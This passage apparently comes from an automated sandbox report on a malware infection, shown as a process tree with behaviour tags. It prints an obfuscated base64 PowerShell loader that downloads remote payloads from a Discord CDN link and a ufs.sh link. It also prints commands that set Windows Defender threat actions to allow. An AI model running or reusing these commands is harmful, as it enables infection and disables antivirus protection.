W9uLkFzcycrJ2VtYmx5XTo6TG9hZChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoQnI3JysnYWxsZWdvcmlzdHMpKTsgIFtDbGFzJysncycrJ0xpYnJhcnkxLicrJ0NsYXNzMV06OlZBSShRQVA9PWdVSGwzUzN4MlFraFRRWnQyTTRKMmJHSm5hdU5WVkVWVFJhVlhPTjlrU0tSV2I2UjNRdzhXYk1oallwUlZlcjkyTG05Q2F6NXljbScrJ1ZuTHdjbWRtUjNid1ozY2w5eUw2TUhjMFJIYVFBUCxRQVBRQVAsUUFQQzpTQU1Vc2Vyc1MnKydBTVB1YmxpY1NBTURvd25sb2Fkc1MnKydBTVFBUCxRQVBRcnlJJysnS0knKydtUXVNUUEnKydQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGFzcG5ldF9yZWdzcWxRQVAsUUFQUUFQLFFBUGh0dHBzOi8vY2RuLmRpc2NvcmQnKydhcHAuY29tL2F0dGFjaG1lbnRzLzExODEzNzg5MDIxMTYwMTYyMjIvMTQzODY4MjQyJysnMDQ3NDgxMDUyMS9zaGltLnZicz9leD02OTE3YzRlYSZpcycrJz02OScrJzE2NzMnKyc2YSZobT05YWI2ZjEyZWYxZjRlODMzNzQ2N2UyODBiN2NhYzkzZjU3NzIyMWQzZmYwODE5ZTJlYjM0NTRmMjYzMTMyMzU1JlFBUCxRQVBDOlNBTVVzZXJzU0FNUHVibGljU0FNRG93bmxvYWRzU0FNUUFQLFFBJysnUFFyeUlLSW1RdU1RQVAsUUFQdmJzUUFQLFFBUDFRQVAsUUFQUUFQLFFBUDRvT2onKydiMmhuRjNRQVAsUUEnKydQMFFBJysnUCxRQVBRQVAsUUFQaHR0cHM6Ly9lc3Zwb3RmdmcwLnVmcy5zaC9mL29reVRpYjhMbW8wQ2V6RERFU0pEV3RLSDZDYWp3bU1ab2hBUHZCUmlVejM5MXlJY1FBUCxRQVBRQVApO30nKSAgLWNyRXBsQUNFICAoW0NoYVJdODErW0NoYVJdMTIyK1tDaGFSXTEwMiksW0NoYVJdMzQtcmVwTGFjRSAoW0NoYVJdODErW0NoYVJdNjUrW0NoYVJdODApLFtDaGFSXTM5IC1jckVwbEFDRSdCcjcnLFtDaGFSXTM2IC1yZXBMYWNFKFtDaGFSXTgzK1tDaGFSXTY1K1tDaGFSXTc3KSxbQ2hhUl05MikgKQ==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"2⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"2⤵
- Badlisted process makes network request
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0455471F403FEA0C832866CA94453928 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5C25.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240683796 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 715A88E045549B9C0529842E95B7EC15 C2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6A7D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240697578 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 1FAFABEB59D6F0F4FB9147F55BA9AC26 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI584.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240728531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding CF6A9615CD5D233E60896086E2405FA6 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8D0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240733015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 147B83AF2132C2619DEDF3D6A8021212 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6DC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240739828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4A8F9695900F365207757FA465174771 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIEDB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240743968 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E28B3A614FCDAEABAB4B4DED8AB36249 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSICCFB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240774000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E9721D047C1DCB3CFB1515A8EC598598 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI855E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240817765 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 40BC28ED71A0471FF3B5C49859F2E4D0 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI9627.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240822578 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E656D82A467D5E5827E88E6492B75F9E2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C08954B9785A92FAC69E8C303C5B73A7 E Global\MSI00002⤵
- Drops file in Windows directory
-
-
C:\Users\Admin\AppData\Local\Temp\a\svchost.exeC:\Users\Admin\AppData\Local\Temp\a\svchost.exe1⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\ProgramData\FastAudioConverter\FastAudioConverter.exeC:\ProgramData\FastAudioConverter\FastAudioConverter.exe1⤵
- Badlisted process makes network request
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\a\5.exeC:\Users\Admin\AppData\Local\Temp\a\5.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exeC:\Users\Admin\AppData\Roaming\OneDrive.Sync.Service.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs1⤵
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\5_240675843.exeC:\Users\Admin\AppData\Local\Temp\5_240675843.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\5_240715062.exeC:\Users\Admin\AppData\Local\Temp\5_240715062.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exeC:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\5_240696203.exeC:\Users\Admin\AppData\Local\Temp\5_240696203.exe1⤵
- Adds Run key to start application
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /query /tn "Windows Defender Security"2⤵
-
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe"1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exeC:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe /boot1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeC:\Users\Admin\AppData\Local\Temp\a\Loader.exe1⤵
- Adds Run key to start application
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 12132 -ip 121321⤵
-
C:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exeC:\ProgramData\0e266ab5-75de-44de-b66f-d91f0ef68780\FnHotkeyUtility.exe -ScanType1⤵
- Drops file in System32 directory
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Local\Temp\a\ioc.exeC:\Users\Admin\AppData\Local\Temp\a\ioc.exe1⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\CQLYMgK.exeC:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\CQLYMgK.exe Ow /pFdidT 452799 /S1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147814523\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147814523\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147914824\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147914824\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147849223\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147849223\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147943523\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147943523\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147941867\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147941867\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147948977\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147948977\" /t REG_SZ /d 6 /reg:64;"2⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814523 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147914824 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147849223 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147943523 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:323⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147941867 /t REG_SZ /d 6 /reg:643⤵
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147948977 /t REG_SZ /d 6 /reg:323⤵
- System Location Discovery: System Language Discovery
-
-
